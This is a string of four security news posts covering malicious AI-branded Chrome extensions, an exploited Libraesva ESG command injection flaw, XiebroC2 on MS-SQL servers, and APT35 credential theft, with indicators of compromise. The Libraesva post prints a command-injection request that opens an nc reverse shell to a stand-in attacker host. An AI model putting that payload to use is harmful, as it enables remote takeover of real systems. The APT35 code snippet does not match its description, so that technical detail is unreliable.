A concerning cybersecurity trend has emerged as threat actors exploit the growing popularity of artificial intelligence tools by distributing malicious Chrome extensions masquerading as legitimate platforms.

These deceptive extensions target users seeking convenient access to popular services like ChatGPT, Claude, Perplexity, and Meta Llama, creating a significant security risk for unsuspecting individuals and organizations.

The malicious campaign represents a sophisticated evolution in browser-based attacks, leveraging the trust users place in mainstream browser extension stores and the widespread adoption of conversational intelligence platforms.

These fake extensions initially appear functional, allowing users to type prompts directly into the Chrome search bar, creating an illusion of legitimate functionality while secretly executing malicious operations in the background.

The threat has already demonstrated considerable reach and persistence, with previous iterations of similar campaigns affecting thousands of users.

Palo Alto Networks analysts identified this renewed activity as part of a broader trend targeting browser extension ecosystems, highlighting the attackers’ strategic shift toward exploiting emerging technology trends to maximize their success rates.

These malicious extensions operate through a carefully orchestrated infection mechanism that fundamentally compromises user browsing behavior and data security.

The extensions achieve persistence by exploiting Chrome’s chrome_settings_overrides manifest permission, which allows them to permanently alter the browser’s default search engine configuration without explicit user consent or awareness.

Technical implementation

The technical implementation involves redirecting all search queries to attacker-controlled domains including chatgptforchrome[.]com, dinershtein[.]com, and gen-ai-search[.]com.

This redirection mechanism effectively positions the malicious infrastructure as a man-in-the-middle, capturing sensitive user queries that may contain confidential information, personal data, or proprietary business intelligence.

The threat actors have identified eight specific extension identifiers in their current campaign: akfnjopjnnemejchppfpomhnejoiiini (Claude search), boofekcjiojcpcehaldjhjfhcienopme (previously reported ChatGPT extension), bpeheoocinjpbchkmddjdaiafjkgdgoi (ChatGPT for Chrome), ecimcibolpbgimkehmclafnifblhmkkb (Perplexity Search), jhhjbaicgmecddbaobeobkikgmfffaeg (Chat AI for Chrome), jijilhfkldabicahgkmgjgladmggnkpb (GenAISearch), lnjebiohklcphainmilcdoakkbjlkdpn (ChatGPT Search), and pjcfmnfappcoomegbhlaahhddnhnapeb (Meta Llama Search).

Distribution methods include sophisticated social engineering campaigns utilizing YouTube promotional content to entice installation, demonstrating the attackers’ understanding of modern digital marketing techniques and user acquisition strategies.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Beware! Threat Actors Distributing Malicious AI Tools as Chrome Extensions appeared first on Cyber Security News.

In late September 2025, the Cybersecurity and Infrastructure Security Agency (CISA) issued a public alert regarding the active exploitation of a critical command injection vulnerability tracked as CVE-2025-59689 in Libraesva Email Security Gateway (ESG) devices.

This flaw has rapidly emerged as a favored target for threat actors due to its ease of exploitation and the wide deployment of Libraesva ESG as a frontline defense in corporate and government email infrastructure.

The vulnerability allows unauthenticated attackers to execute arbitrary system commands on affected appliances, resulting in a significant risk of email compromise, data exfiltration, and lateral movement within networks.

Initial discovery of this security weakness surfaced after multiple security firms observed anomalous traffic directed at public-facing ESG appliances across Europe and North America.

Attackers quickly weaponized proof-of-concept exploits, taking advantage of the flaw’s simple payload delivery—typically through a crafted HTTP POST request to an exposed management interface.

Organizations relying on Libraesva ESG appliances for spam and phishing defense are directly at risk, with exploitation frequently resulting in full device takeover.

CISA analysts noted that attackers leveraging CVE-2025-59689 did so with high speed and stealth, leaving minimal traces in security logs.

Their investigations revealed that successful exploitation permitted payloads enabling remote shell access, installation of additional malware packages, and use of the ESG appliance as a pivot point for internal reconnaissance.

Notably, CISA documented several incidents where attackers deployed reverse shells to establish persistent access channels post-compromise.

The infection mechanism at the heart of CVE-2025-59689 is a classic OS command injection. An attacker submits a specially crafted request to the web-based management API with command payloads embedded in user-supplied parameters.

For example:-

curl - X POST "https://target-esg/management/api[.]php" - d '[cmd]=;nc - e /bin/bash attacker[.]com 4444'

This command illustrates how the flaw enables an external actor to spawn a remote shell directly to the attacker’s system, bypassing authentication controls.

CISA researchers found that many incidents occurred due to ESG appliances lacking recent security updates, underscoring the necessity for timely patching.

Libraesva ESG Exploit Flow begins with external payload delivery and culminating in command execution and attacker control.

The continued exploitation of CVE-2025-59689 reinforces the importance of robust patch management and vigilant monitoring of security infrastructure for signs of compromise.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post CISA Warns of Libraesva ESG Command Injection Vulnerability Actively Exploited in Attacks appeared first on Cyber Security News.

A sophisticated attack campaign targeting improperly managed Microsoft SQL servers has emerged, deploying the XiebroC2 command and control framework to establish persistent access to compromised systems.

The attack leverages vulnerable credentials on publicly accessible database servers, allowing threat actors to gain initial foothold and escalate privileges through a multi-stage deployment process.

XiebroC2, a publicly available C2 framework similar to CobaltStrike, provides attackers with comprehensive remote control capabilities including information gathering, defense evasion, and system manipulation.

The campaign follows a predictable pattern observed in MS-SQL server attacks, beginning with credential-based intrusions and progressing to coin mining operations.

However, the integration of XiebroC2 represents a significant escalation in attack sophistication, as the framework supports cross-platform operations across Windows, Linux, and macOS environments.

The framework’s open-source nature and extensive feature set make it an attractive alternative to commercial penetration testing tools, offering attackers capabilities such as reverse shells, file management, process control, and network monitoring without the associated costs.

ASEC analysts identified the malware during routine monitoring of attacks targeting MS-SQL servers, confirming the deployment of XiebroC2 alongside traditional coin mining payloads.

The framework’s implant component, written in Go programming language, demonstrates advanced techniques for evading detection while maintaining persistent communication with command and control infrastructure.

The attack methodology highlights the ongoing vulnerability of database servers that lack proper security hardening and access controls.

Privilege Escalation Through JuicyPotato Exploitation

The attack chain demonstrates a methodical approach to privilege escalation through the deployment of JuicyPotato, a well-documented exploit tool that abuses Windows token privileges.

Following successful authentication to the target MS-SQL server, attackers encounter the inherent limitation of service account privileges, which typically operate with restricted access rights by design.

To overcome this constraint, the threat actors utilize JuicyPotato to exploit specific token privileges within the currently running process account, effectively elevating their access from service-level to administrative permissions.

The privilege escalation technique capitalizes on the impersonation privileges often granted to service accounts, allowing the exploit to abuse these permissions and spawn processes with elevated rights.

Once JuicyPotato successfully escalates privileges, attackers proceed to download and execute the XiebroC2 framework using PowerShell commands.

This approach ensures that subsequent malicious activities operate with sufficient privileges to modify system configurations, install additional payloads, and establish persistent backdoors.

The configuration data reveals the framework’s ability to collect comprehensive system information including process identifiers, hardware identifiers, working directories, and user credentials before establishing encrypted communication channels with the command and control server located at IP address 1.94.185.235 on port 8433.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Threat Actors Hijacking MS-SQL Server to Deploy XiebroC2 Framework appeared first on Cyber Security News.

In recent months, a surge in targeted intrusions attributed to the Iranian-aligned threat group APT35 has set off alarm bells across government and military networks worldwide.

First detected in early 2025, the campaign leverages custom-built malware to infiltrate secure perimeters and harvest user credentials.

Initial indicators of compromise point to spear-phishing emails with HTML attachments that deploy a multi-stage payload once opened, silently establishing a foothold in the target environment.

Analysis of the attack chain reveals that the initial vector often involves weaponized Microsoft Office documents exploiting CVE-2023-23397 to bypass Outlook’s security model.

The embedded code downloads a PowerShell stager, which then fetches the primary credential-stealer module from a remote command-and-control (C2) server.

Stromshield researchers identified this behavior during a compromise of a defense ministry network in April, noting the seamless transition from document exploit to stealthy reconnaissance and credential exfiltration.

Once deployed, the malware masquerades as legitimate system processes to evade detection. It hooks into the Windows Security Support Provider Interface (SSPI) to intercept NTLM challenge-response exchanges, capturing hashed credentials in memory.

These hashes are then relayed to the attacker’s infrastructure, where a combination of hash-cracking and pass-the-hash techniques unlock privileged accounts on high-value servers.

The impact has been significant: multiple accounts within military communications networks were compromised without triggering conventional intrusion detection systems.

In one documented case, the stager code resembles the following snippet, illustrating how the malware invokes SSPI hooks in PowerShell:-

$sspi = Add-Type -MemberDefinition @"
    [DllImport("secur32.dll", CharSet=CharSet.Auto)]
    public static extern int LsaLogonUser(
        IntPtr LsaHandle, string OriginName, uint LogonType,
        uint LogonPackage, IntPtr AuthenticationInfo,
        uint AuthenticationInfoLength, IntPtr LocalGroups,
        IntPtr SourceContext, out IntPtr ProfileBuffer,
        out uint ProfileBufferLength, out uint LogonId,
        out IntPtr Token, out uint Quotas, out uint SubStatus);
"@ -Name "Lsa" -Namespace "WinAPI" -PassThru

Infection Mechanism

The infection mechanism hinges on a two-stage downloader that first discerns the victim’s environment.

Upon successful document exploit, the initial stager performs environment checks—querying registry keys for security tools and scanning loaded kernel modules.

If a recognized analysis sandbox is detected, execution halts to thwart reverse-engineering efforts. Otherwise, the stager decodes a base64-encoded second-stage payload, writing it to %AppData%\Roaming\msnetcache.dll before loading it via rundll32.exe.

This DLL implements the SSPI hook logic, intercepts credentials, and then performs HTTP GET requests to the C2 domain over port 443, blending traffic with legitimate HTTPS sessions.

Overall, the campaign reflects APT35’s growing sophistication in embedding deep within trusted processes and leveraging native APIs to capture credentials without dropping overt artifacts.

Continued vigilance and advanced behavioral monitoring are crucial to detect such stealthy intrusions before critical access is compromised.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post APT35 Hackers Attacking Government, Military Organizations to Steal Login Credentials appeared first on Cyber Security News.